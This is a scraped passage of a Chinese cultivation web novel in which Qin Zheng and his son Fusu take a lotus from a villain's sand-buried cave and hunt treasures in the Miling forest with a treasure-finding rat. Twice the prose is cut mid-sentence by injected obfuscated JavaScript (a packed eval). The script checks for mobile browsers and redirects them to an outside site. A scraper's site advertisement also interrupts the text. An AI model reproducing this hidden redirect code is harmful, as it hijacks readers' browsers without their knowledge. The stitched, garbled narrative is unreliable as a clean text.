地点,让对方无法确定洞府位置。那人家也已经知道了这水域之下存在某个秘密,有机会的话肯定要去探寻的。 自己探寻不出来还能选择把消息散播出去,吸引其他人过来。 所以说到底,无论他从哪里上岸,都得把目击证人给干掉。那么其实他直接从原地冒出来,还更省事一些。 可见这家伙运气不错,一直苟到现在才第一次被人撞见。 修真界终极大反派的下属行事没有露馅,纯靠运气好,着实是一种讽刺了。 由此反推,整个修真界运气都挺差的。 等待水干的过程有点无聊,扶苏蹲在旁边忍不住想伸手去试探一下,好奇手放到浓盐水里会是个什么感觉。 秦政一把捉住他的爪子: “乖一点。 扶苏想说就摸一下应该没什么问题,神兽之躯十分强悍,恢复能力也过人。 秦政根本不听,仗着人高马大,把小崽崽限制住,不让他去作死。 秦政强调道: “这水里定然不止是含盐,否则筑基期修士肉身强度也远超寻常人,为何还要穿着特制的法衣从头武装到脚? 扶苏被说服了,遗憾地安分下来: “那我可以用瓶子多装点水,回去研究吗? 秦政问他: “研究什么?炼丹吗? 扶苏觉得直接承认了好像不太好,但他确实是想拿去试试炼丹来着。既然这个水这么毒,说不得炼出来的毒丹会很特别。 秦政一时不知该如何打消儿子的念头。 思索片刻,他反问: “丹炉练了这个东西,以后还怎么炼正常能吃的丹药? 扶苏被问住了,半晌他回答: “阿父不是说要给我多做几个丹炉? 而且灵火应该可以把残余的毒物炙烤殆尽的……吧?扶苏也不太确定。 寻常含有毒性的药材,哪怕被炼制成了药液,由于全程都被灵火包裹着不会接触丹炉内壁,其实问题不大。 可这个水,扶苏总觉得火可能包不住。 它不一定能拿来炼制毒丹,但可以拿来配置毒液,这就不太适合放入丹炉中了。 扶苏于是又想到,可以直接挖血沙。 想到这里,扶苏陡然反应过来: “这个沙子有问题,不能直接接触皮肤。 若是这样的话,那这一片区域没什么人来也就合理了。大部分修士进入之前应该特意打听过秘境内的情况,知道这片血色沙漠的传说。 虽然传说存在暮天人为编纂的成分,但修士也不全都是傻子。如若这里的沙子没问题的话,人家迟早都会发现血沙区域其实很安全,可以进行探索。 扶苏撑住下巴: “这样显得什么都没打听就进来的我们好像有点傻。 准备工作太不充分了。 秦政却道: “朕本就是故意不去打听的。 扶苏懂了: “日后会经常进入一些不知其中情况的秘境,不可能次次都有攻略可以参考。若习惯依赖那些情报,以后遇到不了解的秘境就会陷入被动。 倒不如从一开始就别养成自己的依赖心理,无论去哪里都毫无所知地过去。在未知中锻炼自己应对各种状况的本事,这才是历练的目的。 积水渐渐消退,原地只剩下湿漉的沙。 里层的沙只怕难以干透,毕竟这里时不时就要下一次雨。但表层干得还是挺快的,不多时就蓬松起来。 秦政拎着闹腾的崽子往里走。 他可不敢把这小子放下来,不然一个没看住还不知道又要干什么。 扶苏眼巴巴盯着脚底下的沙,他真的很好奇这个沙子到底有什么问题。秦政只好承诺出去了找人打听,反正也不是什么机密。 扶苏总算安静下来。 由于不知道具体的入口位置,毕竟水位洼地是一大片区域,不是很小的一个小坑。所以秦政还得用神识谈查到具体位置,再细细分辨怎么开启入口。 片刻后,他运起土系法术将某一片区域的沙子都抓了起来,随手丢到一旁,露出了底下一个人为加固过的通道。 暮天在这挖了个洞府,自己利用石材和术法将之固定在沙层中,然后向上开了个长长的通道。将通道入口的石门揭开,便能入内。 扶苏探头一看: “这里头没有排水装置啊。 之前倒灌进去的积水在洞府底部积蓄了浅浅一层,还多赖下属关门及时。要是 不够熟练的话不知里头要攒多少水。 万一莲花直接吸收了这里的积水养出个毒莲来岂非前功尽弃? 为了解决这个问题下属的选择非常简单直白。他根本没有使用任何修真界的高深法门而是单纯在洞府里垫了个高台将盆栽的莲花放上去。 扶苏推测或许他下次进来后会将积水全部清理出去丢到外头的沙层里。 操作是没什么问题就是办法有点笨。 扶苏热心肠地替便宜师祖解决了这个烦恼即帮他们拿走莲花自己带回去养。 顺便再帮他们使用掉。 秦政则盯着那个通道思考: “有些逼仄了。” 身形高大身材健硕的始皇帝陛下若要通过这个狭窄的通道实在是不怎么方便。 修真界中的绝大多数修士走的都是清瘦路线所以从这里进出只是稍微狭小不像陛下这么困难。 就连明寒以前也是清瘦修长的体格。 扶苏自告奋勇: “我进去拿!” 秦政拦住了他: “然后顺便偷藏一些积水是吧?” 秦政选择用功德锁链把莲花带盆一起卷上来不用自己下去了。 扶苏试图抗议: “说好能不动用功德就不动用的呢?” 秦政则道: “那是对你的要求不是朕。是你出来历练 扶苏:哼。 虽然无法参与其中但扶苏还是努力发挥了一点作用。比如提醒一下阿父洞府里或许存在具有监控属性的法器拿取东西时可以考虑利用它给暮天留下错误的引导。 秦政略一思索便取了个傀儡身出来。 这是秦政自己为了练习炼器术所做的少年傀儡正适合用来在狭窄的区域代替主人行事。 因为是秦政所做暮天自然不知它的存在比起原主制作的那些它更不容易暴露幕后操控者的身份。 即便如此秦政还是给它做了点伪装。 扶苏盯着那傀儡身看了片刻: “我怎么觉得它长得有点像高弟少时的模样?” 秦政绝不承认自己背着爱子偷偷做了其他儿子的小傀儡人偶面 不改色地表示扶苏看错了。 秦政轻描淡写地说: “许是与朕长得有些相像,让你联想到阿高了。 扶苏:。 虽然全家都或多或少继承了一点父亲的俊美容貌,其中要数桥松继承最多,将闾其次,其他人不相上下。 可扶苏又不瞎,他分得清傀儡到底是像阿父还是像弟弟,阿父休想给他洗脑。 心里是这么想的,面上却丝毫不显。 想要博得父亲更多的怜惜,就要该吃醋的时候吃醋,该大度的时候大度。 他已经霸占阿父这么久了,再分毫不让就显得过于小肚鸡肠。贴心的太子应该懂事一些,这样父亲就会心疼他受了委屈。 所以扶苏假作被糊弄了过去: “是吗?那我再看看。 小傀儡已经一跃而下,进去干活了,没有给扶苏仔细打量的机会,哪怕扶苏其实看一眼就能记住长相。 扶苏只好转移话题: “阿父,你说暮天会不会傻到根本没有安装监控,我们弄这一出是做白工? 他现在对修真界最大反派的含金量产生了质疑。 秦政随意地应了一句: “无妨,顺手留个后招而已,不能生效也不要紧。 这样简单的询问,换旁人说出来,秦政根本懒得搭理。这不是有脑子就能想到的吗?还值得特意一问一答? 习惯沉默寡言将想法都藏在心里的陛下也只会应付太子一个人的废话了。 扶苏就说: “阿父这些年话多了不少。 以前常常是他一个人叨叨叨个半天,父亲才会惜字如金地回一两句。除非他闯祸了,那样父亲会抛弃往日的寡言,抓着他絮叨上半天。 扶苏认为,父亲幼时肯定也是性子活泼的,看小阿父就知道了。 只是为了大业不得不隐忍,就养成了这种习惯。况且年轻的君主想要获得别人的效忠和敬畏,塑造君威莫测的形象会更便捷。 秦政这次忽略了扶苏的废话。 用行动证明他也可以继续寡言内秀。 莲花被带了上来,用肉眼看其实没有用神识看那么美丽。神识可以透过现象看本质,而肉眼则会被宝物自晦给欺骗。 乍 一看,这就是个寻常莲花而已。 扶苏伸手去摸了摸花瓣,秦政没有阻拦他。 他上回看育儿书籍,里头说小孩子有个手部敏感期,会喜欢到处触摸东西,通过触觉感知这个世界。 太子大抵从未结束过这个时期,毕竟扶苏从小到大都手贱,喜欢去乱摸一些没见过的东西。 左右摸个花也没有危险,随他去了。 秦政检查过,暮天并未在花身上下毒。 或者说他没法把毒抹在花上面,防止其他人触碰。因为莲花来者不拒,什么都乐意吸收,他还不想收获一株只能用来下毒害人的毒莲花。 扶苏感觉到指尖覆盖的护体灵力被吸收掉了一点。 也不知道是不是他的错觉,吸收了一丝水灵力以后,这莲花的颜色好像变得更蓝了一些。 本身它就是待在水汽浓郁的地区,底下的洞府处还因为接触不到阳光,隔绝了另一种同样浓郁的火灵力,只剩水灵。 是以莲花的花瓣早就被水灵力滋润得成了漂亮的浅蓝色,一看便是水系莲花。 扶苏询问父亲: “暮天是什么灵根?” 秦政回忆了一下: “不止一个。” 扶苏:? 扶苏反应过来: “莫非他是多灵根?” 明寒其实没问过,偏偏暮天又是天玄宗的创立者。 宗门创立之后入门的弟子,灵根如何基本是藏不住的,测灵根时就能抖落得一干二净。但创立前就已经踏入修途的那些,不主动说别人很难分辨。 谁让高阶修士到了那种境界后,施展法术时已经不拘泥于灵根属性了。空气中的其他元素灵力他们照样可以催动,只是没有本源属性那么顺手。 明寒就见过师尊使用多种元素的术法对敌,而且用得都很驾轻就熟。 以前他以为是师尊实力强悍,现在秦政怀疑他根本就是多灵根。 天玄宗其实并不是底蕴特别深厚的那种延续万年的老牌宗门,它只有区区不到两千年的历史,毕竟暮天在渡劫期时寿元也只有两千年而已。 两千年能把新生宗门做大做强,成为修真界第一宗门,确实有两把刷子。不过这可能更得益于暮天徒弟收得好,不仅有明寒这样的 战力第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037610|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一,还有个前任掌门特别善于经营门派。 暮天倒是很懂术业有专攻。 前任掌门是暮天的首徒、明寒的大师兄,据说是已经飞升了。 之所以用上“据说,主要是因为经过暮天的假陨落后,父子俩都对宗门内牵扯到了飞升的人员产生了疑虑。 说被雷劫劈死的没死,说扛过了雷劫飞升的,说不定也没飞呢? 明寒只是听同门说他飞升了,当时明寒都还没入门,根本不曾见过他大师兄,便也无从得知真假。 谁让大师兄和师尊都是在渡完飞升劫后人就见不着了,无法证明真飞假飞。 宗内都说当时对方为了渡劫特意找了个旁人无法打扰的地区,避免仇家趁机暗算。等众人远远看到仙景赶来蹭喜气时,异象已经结束了,人早被接入了仙界。 扶苏第一反应是: “虚幻投影? 大师兄没必要自己飞升失败后假装飞升成功了,他要是活着,完全可以和暮天一样对外宣称失败,这样造假还简单点。 扶苏从阴谋的角度分析: “假设前任掌门没有飞升成功,掩盖他陨落这件事,对他自己有什么好处?可以延续他的威名吗? 秦政摇头: “此事必然不是他自己所为。 扶苏认同: “所以是有人操控了他的‘飞升’,而暮天就是那个有前科的。 多灵根能修炼到渡劫期,还距离飞升一步之遥。然后飞升失败了,差点被雷劫给劈死。 怎么看怎么有猫腻。 在如今的修真界,多灵根就是很难修炼到高阶的。修炼起来耗时太长了,修士寿元支撑双灵根修炼都很勉强,能成为大能的多灵根基本都是有奇遇。 可暮天不像奇遇很多的样子,再加上他现在搞的事情,很难不让人联想到他以前的修为是否也是靠着投机取巧获得的。 倘若结合这一点看的话。 暮天收徒弟不仅是为了压榨徒弟的劳动力,说不得也是盯上了徒弟的天赋和修为。 扶苏缓缓开口: “或许,前掌门是被他掳走了。假装成飞升成功,旁人就不会探究他的去向、他真的死了没有。 而渡劫失败,哪怕知道可 能只是前掌门自己实力不敌雷劫,掌门等人作为弟子,也多少得查一下里头有没有猫腻。 比方说,是不是仇家暗中动了手脚。 暮天要的就是没人去查,不然自己干的事情就有可能会暴露。 至于暮天自己为什么假装渡劫失败,这个就更简单了。 他私底下还和现任掌门有联络呢,需要利用天玄宗做一些事情。要是他假装自己是飞升了而不是陨落了,怎么和掌门他们解释情况? 如今这样,就可以说自己当初飞升失败是遭人陷害,最开始假死脱身是想躲藏起来暗中酝酿复仇。后来则是想作为天玄宗的秘密武器,不示于人前,毕竟散仙一般情况下比渡劫巅峰实力更强。 秦政补充了一个儿子不知道的内情: “大师兄是金系单灵根,灵根纯度只比明寒差一些。” 扶苏忽地想到什么: “明心师伯是单火灵根,明玥师姑是单木灵根,明寒是单水,明岸是单土。” 金木水火土,好家伙,凑齐了。 秦政继续补充细节: “明字辈的师兄弟姐妹不止五人,之前已经‘飞升’的还有一个,是单土灵根。他排辈在明岸和明心之间,实力反超了师兄明岸率先抵达渡劫巅峰。” “不过他入门其实比明岸晚上三百年,当时明岸卡在元婴期不得寸进。后来过了许久,明岸才晋入合道,可那个时候土系师弟都已经元婴了。” 扶苏顿时明白了: “明岸太废了,暮天嫌弃他没用。暮天要的是能飞升的渡劫巅峰,所以这个单土灵根派不上用场,他得重新物色一个单土资质的弟子。” 按照这个逻辑,之前肯定应该还有其他明字辈的弟子折戟沉沙。扶苏追问一番,果然得到了肯定的答案,秦政说有几个师兄师姐半路陨落了。 这事纯属意外,修真界死亡率高,暮天也没办法保证所有弟子都能平安修炼到渡劫期。 扶苏算了算: “那接下来他想收割的就是仅剩的三个渡劫期明字辈弟子,正好凑齐五行。修为或许是次要的,他想要的可能是神魂和灵根。” 渡劫期大能最值钱的是他们能修炼到渡劫的心境,严格来说就是神魂。有些邪术可以吞噬神魂,壮大自己。 许多情况下,雷劫渡不过去不一定是实力不足,也可能是心境不足。因为高阶修士的雷劫会伴随着炼心幻境,心境实在差劲的人难免弄点上不得台面的操作。 此类秘法应该很少见。 除了神魂之外,能修炼到渡劫,灵根纯度一般也不会太低。尤其弟子是暮天自己挑的,他肯定深知弟子的灵根如何。 换灵根比之吞噬神魂,反而是更常见的邪修操作。 秦政收起那盆莲花,带着儿子慢慢往外走。边走边分析暮天的想法,认为暮天应该是提前发现了五灵根在仙界更占便宜。 正好他预测到了自己会因为作恶多端渡不过飞升劫,偏偏散仙每过一次天劫可以延寿一千年。到时他的时间将会变得无比充裕起来,便可以放心大胆地为未来去仙界而筹谋,提前给自己五个灵根都换上最好的。 不然他直接一开始就把五灵根换成单灵根了,何必这么折腾。 扶苏想起那莲花: “虽说莲花最后会成为血莲,但莲花已经吸收了大量水灵力。他把莲花放在水系充沛的此地,或许这株莲花就是他为了自己的水灵根准备的。 那就不怪暮天不着急收割了,水灵根还没到手,血祭大阵可以晚点再布置,先把莲花丢这儿打个底子。 到底血祭只是为了加速莲花成熟的,哪怕覆上鲜血属性也不影响。血液本身也是液体的一种,跟水系适配。 秦政低头看了一眼儿子。 扶苏也恰好抬头看父亲。 彼此间都意识到对方想到了什么——暮天肯定还准备了火系和木系的天材地宝,就是不知道藏在哪里了。 金系和土系的估计已经用掉了。 扶苏有些心动: “能不能一起截胡? 秦政努力回忆刚刚搜魂获取到的信息。 半晌后他缓声开口: “方才那修士并不知道暮天的其他秘密基地,不过,他有两个友人被派去了另外两个秘境周围盯梢。 正好两个,数量对上了。 筑基期秘境开启周期较短,不像后头那些境界的秘境,动辄十数年。筑基期秘境一般三五年开一次,甚至一年一开的都有。 所以这种秘境很适合安排人在附近轮守,每次开放都进 第 201 章 各怀鬼胎 父子俩再次踏上了传送阵,前往最后一个目的地。 路上,扶苏和父亲谈起一个想法: “要是我们没做伪装,直接让暮天知道是我们抢了他的宝贝。他会不会按捺不住,主动跳出来找我们麻烦?那样一来,我们岂不是就可以直接将他打死了?” 到时候他们这次来修真界的目的就提前完成了。 秦政顿了顿: “倒也不是不行,只是最好等朕修为重回渡劫巅峰再和他对上。” 这一来,渡劫巅峰越级击杀散仙,还算说得过去。比起现在的渡劫初期要合理得多,法则或许能睁一只眼闭一只眼承认他们此番操作的合理性。 不然身在修真界,不用修真界的手段对敌,而是自顾自用地府带来的功德,总有一种在挑衅法则的感觉。 扶苏也就是这么一说。 事实上什么时候动手他都无所谓,大不了就在此界多待一段时间。 由于身负功德,而功德又能拆分成灵气的缘故,他们父子俩即便不在修真界也不妨碍继续修炼。 这就跟自带一个灵脉差不多。 之所以不放弃修炼灵力,是考虑到有些特殊位面可能存在某些未知的限制。技多不压身,多一些不同种类的实力在身上,总好过全程只靠功德度日。 等日后有机会去了西幻那类位面,他们父子自然也会认真钻研魔法,好应对不同背景下的不同场面。 第三个目的地位处修真界十大禁地中的木系禁地,叫做迷岭。 它在修真界的设定有点类似于神农架之于华夏的地位,深山密林,进去之后极易迷失在其中。时不时会飘出迷雾,让本就莫测的深林更显扑朔迷离。 迷岭附近流传着大量真真假假的传说,但它和神农架不同。神农架的恐怖传说可以拿去拍《走近科学》,迷岭的只会用玄学力量告诉你,它的传说确实没掺太多水分。 迷岭外围的某个秘境,是筑基期秘境中危险程度最高的那个。倘若其他秘境还会有筑基初期的修士进去历练,迷岭这个就是只有筑基巅峰进去了才能有幸活着出来。 此前秦政下意识认定三个宝物都藏在秘境之中,便是中了思维惯性的套。 因为东西藏在筑基期秘境确实最安全。 首先,这个级别的秘境不至于像炼气期的那么小儿科,危险程度还是有一些的。危险的地方才能保证安全,别人不能随便在里头进进出出,地毯式摸索。 其次,筑基期的秘境基本只有筑基期修士能够进去,而筑基修士无法施展神识。没有神识辅助,就不像中高阶修士那样会隔着大老远探查到藏匿起来的洞府、宝物。 最后,大能们都下意识觉得筑基秘境肯定没什么好东西。即便有人跟他们说了,他们也不会信,更懒得去探究。 那么当他从搜魂中得到三个地点,三个位置都在某秘境周围,且三个秘境全是修真界十大禁地的外围秘境。 就很容易进行类比,觉得三个物品肯定都藏在这三个秘境中。 结果火系的居然在秘境外头。 扶苏认为,这可能是暮天想留个后手,万一被人洞悉了他的布局,好歹能剩一个宝物在手里。 也有可能,他是单纯的嫌弃火山秘境中的火元素不够充沛,火山太少,不如外界更能培养灵火。 秦政后续还跟城池管理者问过: “熔岩区是何时开始,火山喷发的频率降低了的?” 管理者回答: “大约在八百年前。” 八百年前,正是暮天收明心道君为徒的那段时间。 不知道是他终于又挑中了一个资质足够的火灵根弟子,于是种下了这朵火焰。还是找到了玄火的火苗,把它种下后特意去找了个火灵根苗子收为徒弟。 但无论如何,这两件事肯定是有关联的。 秦政于是没有继续去秘境中探索,直接前往下一个地点。一路上畅通无阻地抵达了迷岭外围,没有遇到任何意外。 秦政便道: “既然不曾遇到意外,可见火山秘境中确实没有东西被你我给落下。” 扶苏:…… 扶苏听懂了父亲的意思。 是说法则没有弄出点意外阻拦父子俩的行程,从而委婉提醒他们别着急走,还有东西没拿呢。 可见熔岩区该拿走的宝贝确实已经拿走了,无需继续留在当地浪费时间。 法则居然还能这么利用。 扶苏很快起了坏心眼。 他和阿父咬耳朵,嘀嘀咕咕了一阵。然后秦 政带着儿子例行采购了特产之后,就故意朝着偏离秘境的方向走去。 扶苏欢欣雀跃地说: “可能木系的灵宝也不在秘境里,我们去迷岭里找找好了。 火系的打了个反向思维,放在了外界而非秘境之中,说不得木系也是这样。 再考虑到火系的宝贝是放在渡劫期修士才能勉强深入的熔岩区最大一座火山深处,那么迷岭这个也可以先试试往深处走。 不过迷岭不像熔岩区似的,一眼望过去没什么遮挡物。哪个火山最大也都是摆在明面上的,能藏东西的地方有限。 迷岭里到处都能藏,而且想要找出它里头哪一处最危险,也不太容易。 即便是想找出山林深处最粗壮的妖植,约莫都得碰碰运气,反正是别指望能有什么标志性的物品作为路标了。 但扶苏并不是真的想进去找。 他就是试验一下,看看走错路后会不会被法则纠正。他爹说的意外拦路,或许不是真的呢。 结果刚往里面走了没多远,一只小老鼠主动撞上来。它本来是想逃跑的,但是很快改变主意抓着长袍爬了上来,往扶苏怀里一钻。 扶苏立刻把它揪了出来: “老鼠?! 仔细一看,也不是那种灰黑色大老鼠,而是毛色漂亮的,类似宠物仓鼠豚鼠的那种鼠类形象。 对方有一双剔透漂亮的红眼睛,冲着扶苏吱吱叫了几声。还想咬一口扶苏的指尖,弄出点指尖血来认主。 可惜没能咬破护体的功德。 秦政一下子认了出来: “是寻宝鼠。 修真界主角必备灵宠寻宝鼠,有了他,主角每次出门都能找到宝贝的事情,就拥有了合理的借口。 扶苏震撼地捧着这只小老鼠: “来真的啊? 看他们跑错了路,干脆给他送只寻宝鼠来。这样法则也就不用费劲指路了,寻宝鼠自然会帮它指。 而且这样一来,法则想给他加塞什么天材地宝都好操作。 不用像之前那么刻意地丢在扶苏打开的储物袋里,而是可以放远一点,等着寻宝鼠带主人一路找过去。 这个法则还挺聪明的。 扶苏和小鼠对视了片刻,到底还是献 出了精血和它缔结契约。 哪怕它寻宝的本事是和灵气挂钩的等以后离开了修真界它就发挥不了作用了。看在它长得可爱的份上 离开前给小鼠多喂点灵气好了助它早日化形。总不能把它带回地府它是活物。 修真界似乎有单独的轮回规则。 秦政回忆了一下: “初开灵智的兽类和炼气期修士一样还是可以进行轮回的。但是正式踏入修行之后就不成了。” 修真界只给底层开启轮回路其他人只能走迂回的方式转生。而且一般不会跨种族投胎就像灵兽转世之后还是灵兽。 扶苏猛地想到一件事: “踏入修行的灵兽无法转生?” 秦政默默看向他。 扶苏直到这会儿才反应过来: “那我之前忽悠失忆的阿父说你是玄鸟转世岂不是从一开始就露馅了?” 秦政失笑替他找补: “你后来不是说夺舍黑龙的吗?” 扶苏小眼神乱飘: “看来下回我得先打听清楚了位面里的常识再编瞎话。” 新收的小灵宠和主人心意相通虽然它依然是吱吱叫不会说话的扶苏却能明白它想表达的意思。 它说它刚刚在林子里呆得好好的突然被两只厮打的妖兽损毁了巢穴。为了避难才突然跑出来结果撞上了秦政的腿。 扶苏怀疑要么是法则故意引诱那两只妖兽打到寻宝鼠跟前要么就是寻宝鼠逃窜时受到干扰才会正好撞他们面前。 具体是哪一种并不重要。 扶苏欣然说道: “两头妖兽厮打或许可以捡漏。” 于是两人一兽抵达了寻宝鼠的巢穴前成功捡到了两败俱伤的妖兽尸体两枚满载而归。 接下来扶苏就没有继续试探天道了而是乖乖和阿父一起撕开了秘境屏障强行进入其中。 由于秦政不能开着渡劫期的马甲进入会撑坏秘境。可如果使用渡劫大能的实力撕开秘境的口子又无法完成身体切换。 所以这次撕开秘境后扶苏及时补上功德之力撑住入口。等父亲换上鸟身父子俩再一起进入其中。 但是 并未收回撑住裂缝的功德。 秘境在关闭的状态下,不存在正常的秘境入口。那么能让人传送到秘境入口的法诀自然也就失效了,无法通过这个方式离开秘境。 回头他们想出来,还得再撕一个口子。倒不如一开始就把功德留在那边,等出去了再收回体内。 迷岭的秘境是个无尽森林。 一落地,扶苏就已经分不清方向了。 这里的林子甚至无法通过植株身上的特征分辨东南西北,因为这个秘境中不存在日升日落。 白日,它的天空会整体变亮。就好像这是一个精心设计的室内展厅,头顶是一整块可以调节亮度的显示屏。 因而迷岭也是一个至今没有被探索出地图的秘境。 探索出来了也没用,所有人进来之后感觉每个地方都长得一模一样,不愧是被称之为“迷岭”的地方。 即便拿着地图进来,若想判断自己身处地图的哪个位置,也不太容易。判断出了位置,还是没用,得再判断一下朝向。 更糟糕的是,人在迷岭里,很容易走着走着就走偏了。 能靠树木分辨方位的时候都容易走偏,明明之前走的是正东方向,不知不觉就便宜到了东北或者东南,这也是常有的事情。 如今连东南西北都分辨不了,还指望能走到地图上指定的目的地? 还是不要做白日梦了吧。 扶苏原地转了一个圈,很快放弃了认路。他也终于意识到了为何法则别的东西都不送过来,偏偏送他个寻宝鼠的深意。 在这种秘境里头,只能碰运气寻宝。寻宝鼠可以直奔宝物所在地,简直不能更好用。 白毛带黑色和黄色块状花纹的小鼠站在扶苏肩膀上左嗅嗅右嗅嗅,很快分辨出了空气中宝物的气息。 它飞快窜下去,开始带路: “吱吱!” 虽然小鼠不知道主人想找什么东西,但反正都进来了,那就路过的宝贝都别放过,遇到什么收什么。 扶苏迈着小短腿艰难跟上: “你跑慢点。” 密林中路难行,到处都是杂草石头和藤蔓,障碍物数不胜数。 小鼠野蛮生长久了,还没养成照顾主人的习惯。它一般只管自己,自己能过的地方它就 直接钻过去完全忘记了它的小主人可能过不来。 扶苏站在藤蔓缠绕成的藤墙后面这路被堵得严严实实。他一个小孩子都过不去更别提他阿父。 寻宝鼠倒是钻来钻去很顺利还奇怪为什么主人没有跟上来站在墙后吱吱直叫让主人赶紧跟上。 扶苏沉默不语。 秦政轻笑了一声: “你现在变成小鸟崽就能钻过去了。” 扶苏瞪圆了眼睛看阿父: “阿父还笑话我!” 秦政揉了揉他脑袋被玄火趁机试图啃一口手上的灵力。依旧没有成功只好蔫蔫地缩了回去。 秦政轻轻弹了它一下把它弹得一颤不敢再造次了。 扶苏手脚并用爬到阿父身上被父亲接住。说要阿父带他跳过去他懒得自己用提纵术翻墙了。 秦政反问: “直接将藤蔓砍掉不就能过去了?” 扶苏眨了眨眼: “阿父你有没有觉得我最近变笨了好多?” 扶苏怀疑这是法则强行把他压制成小孩子造成的毕竟他自己主动变小时没有这方面的困扰。 秦政倒是没觉得: “分明是你最近懒得动脑子的次数变多了。” 不要给自己的懒惰找借口。 扶苏甩锅失败更不愿意下来了。 秦政故意说了一句: “从出门起朕就一直抱着你朕的太子如今已经不心疼阿父了吗?” 扶苏回忆了一下好像是这样的。 沙漠不好走所以大部分时候都是阿父抱着他。熔岩区太过危险阿父也没来得及把他放下。到了迷岭这边 鹅小说更新,记住域名qiexs?(请来企 鹅小说 看最新章节 完整章节)地形更难走。 扶苏果断变成小鸟崽崽: “我错了阿父你休息吧。” 不能累着阿父。 秦政其实不累他就逗逗儿子。不过在密林中鸟身确实比人身占便宜不仅行动更加灵活鸟类在林中也属于主场作战。 所以他就没有阻拦任由扶苏跟着寻宝鼠飞来飞去。 寻宝鼠还没养成照顾主人体型的好习惯就发现主人也能变小了跟着它到处乱窜。 除了一些地洞扶苏无论用鸟身还是龙身都来往不便不会更 过去之外其他地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037611|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都可以来去自如。 这下更学不会照顾体型了。 秦政很快发现只剩自己需要开山辟路跟上两只小动物除非他也变成小鸟追过去。但不到万一秦政并不乐意变得那么小他没有扶苏那种卖萌的爱好。 扶苏很快收获了一堆零零散散的宝物。 寻宝鼠不仅能找还能采集。 它比扶苏还灵活得多每每扶苏追过去的时候它都已经把东西取下来放到一边等着扶苏收进储物袋了。 扶苏本来还在纠结怎么用鸟爪艰难进行采集要不要变成人。变人的话时不时就要变一下有些麻烦。 结果小鼠把这些都解决了扶苏只需要进行装袋有一种跟在大佬身后无脑捡掉落的快乐。 秦政在密林中也闲庭信步。 他时不时扫一眼四周像是随便看看又像是在观察什么。 扶苏发现了 秦政答道: “朕在想暮天若在此地蕴养了东西他要如何寻到那东西的位置。” 扶苏提供了一个思路: “是不是埋了能引路的标记?” 修真界里这种手段还是挺多的什么留下特殊香气养个灵兽可以追踪这种气味。还有孪生法器互相能够感应位置把其中一个放在目标身边。等等。 小鼠竖起耳朵: “吱吱?” 它听懂了特殊的气味! 这个它可以分辨的! 小鼠努力嗅嗅嗅很快嗅到了。它兴奋地叫了两声换了个方向继续跑。 父子俩并没有太期待它能靠着所谓的特殊气味找到暮天埋的东西。 主要修真界的特殊气味太多了根本不清楚对方用的是哪一种。何况他也不一定就是用气味寻找方向的或许是法器呢。 然而跟着小鼠跑了一段之后小鼠开始挥舞小爪子快速刨地。爪子上下纷飞眨眼间已经刨出了个一米深的幽长通道。 秦政立刻出手动用土系法术协助将洞口扩大不然他进不去。 大约一刻钟后他们挖到了深埋在地底的矿精。 这东西本来应该诞生在矿石中但矿石规模太大就容易被发现和开采 然后矿精便会被人夺走。 反正矿精在矿中诞生后,只是需要土系灵力成长,不一定非得继续在矿内待着。于是有人就把它挪到了迷岭的秘境中,这样就绝对不会被其他人挖走。 谁都知道,迷岭里没地图,找不着路。 扶苏站在阿父手掌上,好奇地看着这枚半成熟的矿精。感觉不像是暮天埋的,暮天不是应该在这里埋木系灵宝吗? 迷岭确实土系灵力也很充足,但不是最充足的。十大禁地中有个土系的峡谷,完全可以埋到那边去养。 秦政分析道: “或许是因为大峡谷那边没有合适的藏匿地点。 大峡谷甚至连火山那样的山体都没有,怎么藏东西?那头的秘境也差不多,一览无余的,远不如藏在迷岭保险。 结果谁能想到呢,藏在迷岭也能被旁人挖走,不知道该找谁说理去。 秦政在矿精身上发现了灵力标记。 他觉得这个灵力波动有点熟悉。 沉吟片刻之后,秦政缓缓开口: “这道灵力,似乎是炼器宗卓长老留下的,矿精应是由他藏在此地。 所以他们截胡了无辜且和他们无冤无仇的卓长老。 扶苏小声问: “直接拿走会不会显得我们很缺德? 毕竟彼此没有仇怨。 他是不在乎什么道德的,但是要考虑一下阿父的想法。父亲最近受明寒的思维影响颇深,扶苏不太拿得准父亲如今的心态,还要摸索一下。 秦政直接把矿精收起来了: “之前那座城的管理者说他和卓长老略有交情,那朵灵火幼苗日后估计会归他。我们拿走他一枚矿精,也算等价交换了。 严格来说,灵火的价值会更高。 事实上野外的宝物都是无主的,直接拿走也没什么大不了。 藏到野外就要做好被人误拿的准备,换成别人可不知道这是卓长老埋的,还以为就是自己运气好挖到的呢。 秦政又额外补充了一句: “朕不会再受明寒影响了,太子不必忧虑。 扶苏顿时开心起来: “好! 但这个矿精是没有彻底长成的,长成的矿精埋在土里可以不断孕育出对应的矿石 。没长成的还得继续吃灵力生长,父子俩把它带走的话,就得考虑该怎么养大它。 秦政提议用功德蕴养,他们没有充足的土系灵力,好在功德转换的灵力无属性,都能吸收。 矿精不是活物,可以带走。以后就算带去别的位面,依然能够起到作用。 只是有些位面灵气不足,需要不断提供灵力给它,它才能勤勤恳恳工作。 寻宝鼠开始搜寻下一个特殊气味。 扶苏在父亲掌心里蹦了蹦,很快飞起来跟了上去。 